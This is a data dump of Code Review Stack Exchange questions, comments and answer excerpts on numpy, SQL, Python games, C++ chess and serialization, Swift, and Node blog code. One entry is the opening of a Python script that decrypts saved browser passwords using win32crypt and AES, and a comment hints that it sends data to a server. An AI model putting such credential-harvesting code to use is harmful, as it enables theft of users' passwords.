"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T06:39:51.950",
"Id": "264041",
"Score": "1",
"Tags": [
"c#",
"dependency-injection",
"asp.net-core",
".net-core"
],
"Title": "Configure service with user-related parameter... | 264041 |
<p>I have a 3-D array in numpy, of dimensions 3000 x 2000 x 8</p>
<p>I need to modify the cells of the array so that each cell will contain the sum of all cells above and left of it, inclusive the current cell.</p>
<p>I am doing it using loops like below, but it is taking around 5 minutes to complete the program run. I... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T08:21:28.403",
"Id": "521428",
"Score": "1",
"body": "You should provide code which is ready to be executed if we copy/paste to our IDE. How can we help you if you don't help us ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
... | [
{
"body": "<p>I used integral function from openCV.\nIt worked fast (within a second)!</p>\n<blockquote>\n<p>iimg=cv.integral(simg)</p>\n</blockquote>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T07:06:21.603",
... | {
"AcceptedAnswerId": "264084",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T07:40:12.350",
"Id": "264044",
"Score": "0",
"Tags": [
"python",
"numpy"
],
"Title": "Slow calculating sum of individual cells of matrix"
} | 264044 |
<p>In my database, I have table <code>wp_postmeta</code>, example:</p>
<pre><code>| meta_key | meta_value | post_id |
---------------------------------
points | 12 | 23
points | 2 | 18
lorem | ipsum | 92
points | 8 | 15
</code></pre>
<p>I want to order <code>points... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T09:03:20.367",
"Id": "521432",
"Score": "0",
"body": "Doesn't mysql now have `ROW_NUMBER()`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T09:17:18.880",
"Id": "521433",
"Score": "1",
"b... | [
{
"body": "<p>Mysql supports the ROW_NUMBER() function.</p>\n<pre class=\"lang-sql prettyprint-override\"><code>SELECT rank\nFROM (\n SELECT ROW_NUMBER() OVER (ORDER BY meta_value) AS rank,\n meta_key, meta_value, post_id\n FROM wp_postmeta\n WHERE meta_key = 'points'\n) AS r\nWHERE post_id = 18... | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T08:37:25.410",
"Id": "264045",
"Score": "3",
"Tags": [
"sql",
"mysql",
"wordpress"
],
"Title": "Order a table by column and get row number"
} | 264045 |
<pre><code>print("This trick only works for range 10 to 199 included")
num1 = int(input("Enter 1st no.:"))
num2 = int(input("Enter 2nd no.:"))
max1 = max(num1, num2)
min1 = min(num1, num2 )
cond = (min1 > 9) and (max1 < 200)
def print2(res1, res2):
res3 = num1+num2-100
r... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T11:28:07.737",
"Id": "521524",
"Score": "0",
"body": "I grew up in a generation where the essence was taught first. Any short-cuts were perhaps mentioned in passing and - if so - certainly afterwards. If the goal is to teach kids ho... | [
{
"body": "<pre><code>print("This trick only works for range 10 to 199 included")\n\nnum1 = int(input("Enter 1st no.:"))\nnum2 = int(input("Enter 2nd no.:"))\n\nmax1 = max(num1, num2)\nmin1 = min(num1, num2 )\n\n\nCOND = (min1 > 9) and (max1 < 200)\n\ndef print2(res1, res2):\... | {
"AcceptedAnswerId": "264122",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T09:20:12.110",
"Id": "264046",
"Score": "2",
"Tags": [
"python-3.x",
"mathematics"
],
"Title": "Multiplication without multiplication for numbers in range 10-199, Vedic Maths"
} | 264046 |
<p>I have many stacks with the same navigation options, how do I abstract the navigationOptions part to have it repeat in all my stacks?</p>
<pre><code>export const MakePaymentStack = createStackNavigator(
{
PaymentsBpayNewScreen,
PaymentsBpayNewAmountScreen,
},
{
...defaultNavStyle,
initialRouteN... | [] | [
{
"body": "<p>What I would suggest is to wrap createStackNavigator in another function where you mimic the api but with different defaults.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T18:31:45.097",
"Id... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T10:04:09.970",
"Id": "264049",
"Score": "1",
"Tags": [
"javascript",
"react.js",
"typescript",
"react-native"
],
"Title": "abstract navigationOptions react navigation"
} | 264049 |
<h3 id="problem-statement-x2nr">Problem Statement</h3>
<p>I need to access a <strong>deeply nested object</strong>. I could've used a 3rd party util such as <strong><a href="https://lodash.com/" rel="nofollow noreferrer">Lodash</a></strong> but insisted myself on writing a <strong>Vanilla JS</strong> solution with a <s... | [] | [
{
"body": "<h2 id=\"recursion-ugma\">Recursion</h2>\n<p>There are many reasons to avoid recursion in JavaScript.</p>\n<ul>\n<li><p>Recursion is an inefficient way to implement simple loops.</p>\n<p>Generally you use recursion to follow tree like paths where the path is dynamic or unknown, in this case the path ... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T10:18:11.707",
"Id": "264050",
"Score": "1",
"Tags": [
"javascript",
"recursion",
"ecmascript-6"
],
"Title": "Recursively access deeply nested object"
} | 264050 |
<p>I created this short method:</p>
<pre><code>private Item createItemType(final Integer type) {
if(type == null) {
return null;
}else if (type == 0) {
return Item.PLACE;
} else if (type == 7) {
return Item.ADDRESS;
}
return null;
}
</code></pre>
<p>Logically it is correct, b... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T20:20:33.040",
"Id": "521482",
"Score": "2",
"body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to **simply sta... | [
{
"body": "<p>In this case, i would use the inline if. This would take less line and would be cleaner overall.</p>\n<pre><code>private Item createItemType(final Integer type) {\n return type == null ? null : \n type == 0 ? Item.PLACE : \n type == 7 ? Item.ADDRESS :\n null;\n}\n</code></p... | {
"AcceptedAnswerId": "264056",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T11:18:27.363",
"Id": "264053",
"Score": "1",
"Tags": [
"java"
],
"Title": "How to rewrite if.. else statements in a more elegant way"
} | 264053 |
<p>This is a hangman game. The only word is 'word' and I am not planning on changing this since I am not going to publish this game or anything.</p>
<p>If there is any unnecessary/bad code I need to get rid of, please tell me.</p>
<p>Here is my code:</p>
<pre><code>using System;
using System.Threading;
namespace Hangm... | [] | [
{
"body": "<p>There are a few more things than I want to go into at this time - but there are two Big Ones™ I want to address. One is the <code>goto</code> and the other is the recursion in the <code>Restart</code> method. Eventually, the recursion will blow the stack. And the <code>goto</code> is just bad form... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T11:42:38.427",
"Id": "264054",
"Score": "3",
"Tags": [
"c#",
"beginner",
"game",
".net",
"hangman"
],
"Title": "Hangman game with only one word"
} | 264054 |
<p>I'm trying to do a non equi self join with basic python libraries on a table that has 1.7 millions rows and 4 variables. the data look like this:</p>
<pre><code>product position_min position_max count_pos
A.16 167804 167870 20
A.18 167804 167838 ... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T22:42:05.147",
"Id": "521491",
"Score": "0",
"body": "_with basic python libraries_? No. Why would you want this? Pandas/Numpy are built for this kind of scale."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "20... | [
{
"body": "<h1 id=\"double-open-af7v\">Double Open</h1>\n<p>There is no reason to open the <code>product.csv</code> file twice.</p>\n<p>The first time you open the file, you are reading and storing the entire file in memory. Instead of opening and reading the file a second time line by line, you could simply l... | {
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T14:15:31.507",
"Id": "264060",
"Score": "1",
"Tags": [
"python",
"performance",
"time-limit-exceeded"
],
"Title": "Non equi self join with basic python libraries"
} | 264060 |
<p>I have been attempting to implement a function calculating values of the sine function.
I know that there are several similar threads regarding this topic but my goal was to try
to implement such function in my own way as an excercise. I suppose that the argument will be in range <span class="math-container">\$\left... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T23:08:11.720",
"Id": "521493",
"Score": "4",
"body": "Please do not edit the question, especially the code after an answer has been posted. Everyone needs to be able to see what the reviewer was referring to. [What to do after the q... | [
{
"body": "<h1 id=\"you-only-need-to-store-values-for-16b511a5-fe0e-4d92-b3ca-28a5f8e81e17-p9fp\">You only need to store values for <span class=\"math-container\">\\$\\left[0, \\frac{1}{2}\\pi\\right)\\$</span></h1>\n<p>You can exploit the structure of the sine function, and only store values in the table for i... | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T15:59:57.387",
"Id": "264065",
"Score": "10",
"Tags": [
"c++",
"mathematics",
"lookup",
"interpolation"
],
"Title": "Sine function calculated via look-up table and linear inte... | 264065 |
<p>I started learning MVVM and API data fetching, so I made this code:</p>
<p>Function <code>loadDirector</code> in which <code>directorName</code> value is modified with fetched data:</p>
<pre><code>func loadDirector(id: Int, completed: @escaping () -> ()) {
homeRepository.getDirector(id: id){ (creditReponse) -... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-03T00:07:32.810",
"Id": "524702",
"Score": "1",
"body": "To implement MVVM correctly you need to use a binding framework like Combine or Reactive Swift to bind code to the change of the director property. Without doing this, your fir... | [
{
"body": "<p>The basic premise behind MVVM is that you have a ViewModel that tells the views in the view controller how they should look. The only properties that your view controller should have are the views it contains and a single view model object. No other properties should exist in it. Your view control... | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T19:27:30.903",
"Id": "264069",
"Score": "4",
"Tags": [
"swift",
"ios"
],
"Title": "Fetching data closure completion"
} | 264069 |
<p>I'm <a href="https://commons.wikimedia.org/wiki/File:Julia_set_for_f(z)%3D1_over_(z3%2Ba*z%2B_b)_with_a_%3D_2.099609375_and_b_%3D_0.349609375_with_critical_orbits.png" rel="nofollow noreferrer">making images</a>. My steps are:</p>
<ul>
<li>create PGM files using a C program</li>
<li>convert/resize PGM to PNG using I... | [] | [
{
"body": "<ul>\n<li>Your <code>chmod</code> needs to go away; <code>d.sh</code> should already have the correct permissions, including when extracted from a source archive</li>\n<li>You should probably delete all of your output diagnostic fluff.</li>\n<li><code>f.c</code> and <code>d.sh</code> are very bad fil... | {
"AcceptedAnswerId": "264076",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T20:13:42.483",
"Id": "264071",
"Score": "3",
"Tags": [
"beginner",
"c",
"bash",
"makefile"
],
"Title": "Compiling and running a program to generate fractal images"
} | 264071 |
<p>Here is a minimal example of my task...</p>
<p>I have four 2-column files. <code>profile1.data</code></p>
<pre><code> zone luminosity
1 1 1359.019
2 2 1359.030
3 3 1359.009
4 4 1358.988
5 5 1358.969
6 6 1358.951
7 7 1358.934
8 8 1358.917
9 9 1358.899
10 10 1... | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T20:17:16.793",
"Id": "264072",
"Score": "0",
"Tags": [
"r"
],
"Title": "R code that creates stellar interior light curves"
} | 264072 |
<h2 id="problem-jj2g">Problem</h2>
<p>I would like to make an efficient, extensible, and potentially asynchronous parallelizable event system using modern features in <code>c++20</code>.</p>
<h2 id="my-solution-gsrl">My solution</h2>
<p>I've constructed a templated event struct by category and group:</p>
<pre class="la... | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T21:05:17.467",
"Id": "264073",
"Score": "3",
"Tags": [
"c++",
"game",
"template",
"event-handling",
"c++20"
],
"Title": "A Compile-time templated event system and dispatch... | 264073 |
<p>I was trying to make a simple noise visualizer using the <code>noise</code>, <code>pygame</code> and <code>pygame_gui</code> libraries. I wanted it to have UI features like buttons, drop down menus, sliders, etc. And the <code>pygame_gui</code> library is perfect for this.</p>
<p>The code is clearly not very clean, ... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T02:20:18.127",
"Id": "521587",
"Score": "0",
"body": "This won't run? `simplex_noise` is being called with the wrong number of arguments."
}
] | [
{
"body": "<ul>\n<li>Your <code>core</code> has what looks to be an abandoned main guard that calls <code>simplex_noise</code> with an incorrect number of arguments. This should probably just be deleted.</li>\n<li>Consider adding PEP484 type hints to all of your function signatures, like <code>def random_noise(... | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T02:50:53.430",
"Id": "264080",
"Score": "1",
"Tags": [
"python",
"random",
"pygame"
],
"Title": "A simple noise visualizer made using Pygame GUI"
} | 264080 |
<p>This is something I made as an input display resembling NohBoard because I need to make a video for a video game, but it's on Linux which doesn't have any good input display programs. One thing I'm worried about is the way I'm making the scroll wheel flash last for exactly three frames in a 60 FPS recording. I check... | [] | [
{
"body": "<blockquote>\n<p>Linux which doesn't have any good input display programs</p>\n</blockquote>\n<p>I deeply doubt this, but moving on:</p>\n<ul>\n<li>You have a one-outer-function program that leans heavily on closures. This is not a good way to represent state, and is untestable. There are better ways... | {
"AcceptedAnswerId": "264164",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T02:56:15.367",
"Id": "264081",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"pygame"
],
"Title": "Pygame program made to look like NohBoard"
} | 264081 |
<p>Imagine we have a function that returns a Promise, ie call a GET endpoint of an api and return the response data.</p>
<pre><code>function testFn() {
return fetch('http://localhost/ep')
}
</code></pre>
<p>The response will remain valid for some unknown period of time but may need to be refetched later. Basically a... | [] | [
{
"body": "<p>You don't need to create a new promise for each call. A promise can be reused multiple times, so all you have to do is cache the promise. Something like this:</p>\n<pre><code>if (bottles.has(key)) {\n return bottles.get(key)\n}\n\nconst p = neck(...args).finally(() => {\n bottles.delete(k... | {
"AcceptedAnswerId": "264090",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T06:33:30.857",
"Id": "264083",
"Score": "3",
"Tags": [
"typescript",
"promise"
],
"Title": "Wrap async method in a way that the method is invoked only once for all calls that occu... | 264083 |
<p>I used uniform crossover to solve eight queens problem. It is taking more than an hour to get the result. Is there any way to reduce the running time or improve the crossover to solve eight queens problem? Following is the code:</p>
<pre><code>import random
import numpy as np
from math import gamma as G
def random_... | [] | [
{
"body": "<p>The number of potential crossovers is much larger (read: exponentially) than the number of solutions since the next crossover can easily end up in the same row, column or (not covered by your code:) diagonal occupied by an earlier queen.\nKeeping track of the state (previous generations) to quickl... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T07:11:39.070",
"Id": "264085",
"Score": "1",
"Tags": [
"python",
"performance",
"genetic-algorithm"
],
"Title": "Crossover in eight queens"
} | 264085 |
<p>I'm trying to scrape arrival data from <a href="https://www.flightradar24.com" rel="nofollow noreferrer">Flight Radar 24</a></p>
<p>My script takes extremely long time to scrape the data. Is there any way I can speed up the scraping process?</p>
<p>Here's my script:</p>
<pre><code>import time
from selenium import we... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-18T15:22:26.260",
"Id": "521712",
"Score": "3",
"body": "@PavloSlavynskyy Whether it is or not, is not our concern. If Flight Radar has a problem with this question, they can sent an e-mail to legal@stackoverflow.com."
},
{
"Co... | [
{
"body": "<p>First: As @PavloSlavynskyy warns, FlightRadar24 has attempted to make it very clear that they do <strong>not</strong> want you to scrape their site or use their API. Among other verbiage, they say:</p>\n<blockquote>\n<p>Copyright (c) 2014-2021 Flightradar24 AB. All rights reserved.</p>\n<p>The con... | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T10:13:37.937",
"Id": "264088",
"Score": "2",
"Tags": [
"python",
"python-3.x",
"web-scraping",
"selenium",
"webdriver"
],
"Title": "Extract flight arrival data from web"
} | 264088 |
<p>This code is from my blog project. This project is almost done. This is working well.
I can create new posts and update and display all saved posts.</p>
<pre><code>const express = require("express");
const router = express.Router();
const Article = require("../models/BlogPost.model");
router.get... | [] | [
{
"body": "<p>Since you want tips on how to write better code, I think what you're doing right now is great! Creating your own blog and asking for feedback is a great way to improve. Keep at it.</p>\n<p>As for the code, I want to hone in on one aspect that can be quite impactful on code quality, and that is err... | {
"AcceptedAnswerId": "264099",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T10:27:21.337",
"Id": "264089",
"Score": "2",
"Tags": [
"node.js",
"promise",
"mongodb",
"express.js",
"ecmascript-8"
],
"Title": "Blog API implementation in node.js"
} | 264089 |
<p>I am currently writing a <a href="https://github.com/SuchtyTV/Odin" rel="nofollow noreferrer">chess engine</a> to improve my C++. I was able to improve my first results in terms of performance. (It is still really weak, but it does not lose a queen in one move)</p>
<p>I ended up having massive problems regarding nam... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T15:22:59.837",
"Id": "521625",
"Score": "0",
"body": "Where is `EMPTY` defined?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T22:14:00.867",
"Id": "521656",
"Score": "0",
"body": "In an ... | [
{
"body": "<blockquote>\n<p>For some weird reason, I do not fully understand: <code>generateOneSteps</code> needs to be header defined.</p>\n</blockquote>\n<pre><code>template<int dX, int dY>\nvoid generateOneSteps(const int j, const int i,\n std::vector<std::tuple<in... | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T10:51:54.740",
"Id": "264092",
"Score": "1",
"Tags": [
"c++",
"c++17",
"chess"
],
"Title": "Chess engine generates moves"
} | 264092 |
<p>basically i am new to python lookin for any bad practices done down there in my script, any ways to shrink the code and increase efficiency</p>
<pre><code>import json, os, win32crypt, shutil, sqlite3
from Crypto.Cipher import AES
tmp = os.getenv('TEMP')
usa = os.environ['USERPROFILE']
triple = False
both = False
e... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T13:42:23.197",
"Id": "521534",
"Score": "1",
"body": "This seems very hardcoded, especially your paths. How would this run on another persons system with a different file structure or even worse Linux? Disregarding the serverstuff I... | [
{
"body": "<p>There are two things that can greatly improve your code's readability.</p>\n<p>First one is, using better names. Making a variable name short makes it easier to write it. However, code is more often read than written. Hence, its better to give variables a more meaningful name. For example:</p>\n<p... | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T13:09:10.873",
"Id": "264094",
"Score": "0",
"Tags": [
"python",
"beginner",
"python-3.x",
"security"
],
"Title": "script to recover browser passwords"
} | 264094 |
<p>I am experimenting with asio web sockets and tried to write a simple serializer / deserializer.</p>
<p>I am also thinking about an approach on how to serialize some type information alongside the actual data. This way a dont have to worry about that i might choose the wrong type when deserializing.</p>
<pre><code>//... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T00:05:31.103",
"Id": "521586",
"Score": "1",
"body": "I have a library that does this if it helps: https://github.com/Loki-Astari/ThorsSerializer Serializes into JSON/YAML/BSON with no extra code from you installed via brew."
}
] | [
{
"body": "<h2 id=\"stdis_standard_layout-z89z\">std::is_standard_layout</h2>\n<p><code>std::is_standard_layout_v<T> == true</code> does not imply that an object is a POD-type. An object is a POD-type if it is both <code>std::is_standard_layout_v<T> && std::is_trivial_v<T></code>. Here... | {
"AcceptedAnswerId": "264101",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T18:26:14.593",
"Id": "264100",
"Score": "2",
"Tags": [
"c++",
"io",
"stream"
],
"Title": "C++ simple type serialization for streaming primitive- / pod types over a web socket ... | 264100 |
<p>I'm currently learning Python for a masters and am trying to improve the best I can, as I'll need to know how to code in my future career.</p>
<p>I currently have a function that builds a table from a dictionary, no matter how long the characters of either the keys or values are.</p>
<p>However, I'm trying to get be... | [] | [
{
"body": "<h3 id=\"identifiers-ou1y\">Identifiers</h3>\n<p><a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP8</a> recommends using snake_case for variables and functions, not camelCase.</p>\n<p>It should be <code>salary_table</code>, <code>length_right</code> and <code>items... | {
"AcceptedAnswerId": "264111",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T20:33:29.183",
"Id": "264102",
"Score": "6",
"Tags": [
"python",
"hash-map",
"formatting"
],
"Title": "Python function to print a two-column table from a dictionary"
} | 264102 |
<p>I learnt a little about genetic algorithm. And I made a program from typescript that tries to evolve and match word/sentence using genetic algorithm. But if I give a little longer sentence it takes 2000+ generation to evolve and match the sentence.</p>
<p>I have two classes, one class called <code>nature</code> that... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T09:46:58.653",
"Id": "521608",
"Score": "0",
"body": "Please remove the very last paragraph because we do not recommend projects here, we just review the code if it works."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T05:31:02.810",
"Id": "264108",
"Score": "1",
"Tags": [
"javascript",
"algorithm",
"node.js",
"typescript",
"genetic-algorithm"
],
"Title": "Genetic Algorithm Typescript"
} | 264108 |
<p>I am a junior web developer currently doing my first internship and I had a lot of freedom to solve small problems the way I thought was best. (There aren't really any developers here so I am completely on my own).
My solution worked and is no longer needed, but I really want to improve and become a better programme... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T13:44:35.423",
"Id": "521615",
"Score": "0",
"body": "Thanks for the advice and the improved title !"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T07:32:01.497",
"Id": "264110",
"Score": "2",
"Tags": [
"performance",
"php",
"api",
"rest"
],
"Title": "Copy images using curl to make API calls"
} | 264110 |
<p>My goal is to look for nearest neighbours in a Boolean-assigned mapping (a Python dictionary). For this purpose I'm looping through the candidates, starting from those with the closest distance. The code will exit the loop once it finds a neighbour that meets additional criteria. My question here is for best practic... | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T12:21:25.060",
"Id": "264115",
"Score": "2",
"Tags": [
"performance",
"python-3.x",
"combinatorics",
"edit-distance"
],
"Title": "Loop through the nearest switch and deletion ... | 264115 |
<p>I'm doing some research on Nearest Neighbor Search of quantization, where running speed is very important. As I've just started using Python, I wonder if the following code for multi-processes can be further optimized to obtain faster running speed.</p>
<pre><code>import numpy as np
from joblib import Parallel, dela... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T16:48:59.460",
"Id": "521681",
"Score": "0",
"body": "Maybe using a slice instead of the loop `for i in range(n):\n Neighbor_Matrix[i] = result[i]` could be faster"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T16:12:28.563",
"Id": "264120",
"Score": "3",
"Tags": [
"python",
"numpy",
"multiprocessing"
],
"Title": "Nearest neighbor search algorithm of quantization"
} | 264120 |
<p>I recently started programming and ran into a problem in the battle algorithm. This piece of code checks if there is someone in the position of the main character. If there is, then the battle begins (action() function). If several enemies are in the same position, then the battle will go on until all the enemies in... | [] | [
{
"body": "<h3 id=\"you-will-do-many-mistakes-pp7c\">You will do many mistakes</h3>\n<p>And this is totally normal. I don't know anyone who didn't do any mistake in his life. Everyone learns on mistakes. So don't be afraid to make mistakes - be afraid of not fixing them or not learning on them.</p>\n<h3 id=\"ex... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T17:40:46.177",
"Id": "264123",
"Score": "5",
"Tags": [
"python",
"beginner",
"game"
],
"Title": "Python text game. combat system with enemies in the same position"
} | 264123 |
<p>I made a Tkinter MP3 Player with Pygame and am looking for tips to improve. Explanation offered in comments in code, but it generally works by getting all the files in a folder. (Have censored filepaths for privacy.)</p>
<pre><code>import os
import glob
import shutil
import pygame
import tkinter as tk
from pytube im... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T15:41:54.463",
"Id": "521679",
"Score": "0",
"body": "There seems to be some code missing. `play_pause` is undefined."
}
] | [
{
"body": "<p>In this section:</p>\n<pre><code>convert = lambda text: int(text) if text.isdigit() else text.lower()\nalphanum_key = lambda key: [convert(c) for c in re.split('([0-9]+)', key)]\n</code></pre>\n<p><code>convert</code> can be moved to a regular function. In fact you can rephrase your alphanumeric s... | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T18:52:26.667",
"Id": "264126",
"Score": "1",
"Tags": [
"python-3.x",
"tkinter",
"pygame",
"music"
],
"Title": "Python MP3 player with pygame.mixer and tkinter for MacOS"
} | 264126 |
<p>This function is about the fact that a std::<strong>w</strong>string was used in another cpp file in order to be able to read strings with German umlauts from the console. Since it is difficult to get wstrings into a text file when a std::ofstream is already accessing the text file, this wstring was converted into a... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T20:08:03.557",
"Id": "521648",
"Score": "0",
"body": "I'm confused because this converts a wstring to utf8, but then changes some utf8 things to CP-1252, so the result is kind of a mix between CP-1252 and utf8. It's odd. It indicate... | [
{
"body": "<p>I see a few problems.</p>\n<h2 id=\"comparisons-and-counting-1bts\">Comparisons and counting</h2>\n<p>At the lowest level, you are being repetitive and inefficient with your comparisons. And you are "rediscovering" information you already know -- specifically, the amount of shrinkage in ... | {
"AcceptedAnswerId": "264131",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T19:26:59.580",
"Id": "264128",
"Score": "-1",
"Tags": [
"c++",
"encoding"
],
"Title": "I wrote a header file to write German umlauts in a textfile properly"
} | 264128 |
<p>I'm trying to learn how to write code well in Python. I've been tinkering with a function that will return a list of all prime numbers between the two parameters. This is the best I could come up with considering my limited experience.</p>
<p>Do you have any ideas of how this code can be improved to become more Pyth... | [] | [
{
"body": "<p>If you are already into programming/STEM, you will already know finding prime numbers is a tough problem. Hence, I will not comment on the efficiency of checking whether a number is primer by checking all possible divisors (which is a terrible idea if you are trying to actually find prime numbers,... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T21:08:13.383",
"Id": "264130",
"Score": "3",
"Tags": [
"python",
"functional-programming",
"primes",
"iteration"
],
"Title": "Python – return list (or not?) of prime numbers b... | 264130 |
<p>I'm attempting to import an external script into an HTML file. The name of the js file that I want to import is hosted in a SQL database. Therefore, I am using a XMLHttpRequest to access the SQL database so that I can fetch the appropriate name of the script. I then create a script element where I set src equal to '... | [] | [
{
"body": "<p>I think the way you have created the element is correct but it needs to to be added to DOM.\nAdd the script element to the DOM using</p>\n<pre><code>document.body.appendChild(js):\n</code></pre>\n<p>If you want it to be added at top try doing something like this</p>\n<pre><code>let myScript = docu... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T00:41:20.780",
"Id": "264134",
"Score": "0",
"Tags": [
"javascript",
"html",
"sql"
],
"Title": "Appending script from within function to header"
} | 264134 |
<p>I have invented the fastest string search algorithm. Can someone prove that it is not fastest?</p>
<p>I am not considering worst case scenarios.</p>
<p>The algorithm can be found here: <a href="https://sourceforge.net/projects/fastest-string-search-algo/files/" rel="nofollow noreferrer">https://sourceforge.net/proje... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T07:30:48.243",
"Id": "521669",
"Score": "3",
"body": "Looks like you've re-invented Boyer-Moore-Horspool string searching. At least in theory, Boyer-Moore string searching is a bit faster (but honestly, the difference is quite small... | [
{
"body": "<p>If you are searching for long patterns, your algorithm wins most of the time (long strings as far to the end of the text as possible are favored), but if you compare the algorithms on patterns up to 100 characters long (human search), Boyer-Moore smokes everyone and it is not even close.</p>\n<p>E... | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T05:59:08.620",
"Id": "264137",
"Score": "1",
"Tags": [
"java",
"strings",
"search"
],
"Title": "Fastest string search algorithm"
} | 264137 |
<p>How can I improve efficiency/readability of the following code?</p>
<blockquote>
<p>It can be seen that the number, 125874, and its double, 251748, contain exactly the same digits, but in a different order.
Find the smallest positive integer, x, such that 2x, 3x, 4x, 5x, and 6x, contain the same digits.</p>
</blockq... | [] | [
{
"body": "<h2 id=\"readablilitypythonization-n2fr\">Readablility/pythonization</h2>\n<h3 id=\"pep8-is-your-friend-2zpr\"><a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP8</a> is your friend</h3>\n<p>Use recommended practices, like using snake_case instead of camelCase for f... | {
"AcceptedAnswerId": "264139",
"CommentCount": "0",
